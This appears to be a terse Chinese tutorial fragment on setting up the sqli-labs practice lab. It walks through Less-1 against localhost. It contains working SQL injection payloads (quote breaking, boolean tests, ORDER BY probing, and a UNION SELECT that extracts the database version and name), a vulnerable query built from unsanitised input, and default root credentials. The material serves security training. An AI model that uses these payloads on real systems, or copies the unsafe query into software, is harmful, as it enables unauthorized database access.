SQL演练平台下载搭建

 <?php
 
 //give your mysql connection username n password
 $dbuser ='root';
 $dbpass ='root';
 $dbname ="security";
 $host = 'localhost';
 $dbname1 = "challenges";
 
 ?>

 http://127.0.0.1/sqlilabs/Less-1/?id=1'

 http://127.0.0.1/sqlilabs/Less-1/?id=1 and 1=1

 http://127.0.0.1/sqlilabs/Less-1/?id=1 and 1=2

 http://127.0.0.1/sqlilabs/Less-1/?id=1 'and '1'='1

 http://127.0.0.1/sqlilabs/Less-1/?id=1 'and '1'='2

 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

 select * from table limit m,n

 SELECT * FROM users WHERE id='$id' LIMIT 0,1

 http://127.0.0.1/sqlilabs/Less-1/?id=1 'order by 3 --+

 http://127.0.0.1/sqlilabs/Less-1/?id=1 'and 1=2  union select 1,2,3 --+

 Welcome    Dhakkan
 Your Login name:2
 Your Password:3

 http://127.0.0.1/sqlilabs/Less-1/?id=1 'and 1=2  union select 1,version(),database() --+

 Welcome    Dhakkan
 Your Login name:5.5.53
 Your Password:security

 %'and 1=1 and '%' = '%
 %'and 1=1 and '%'='%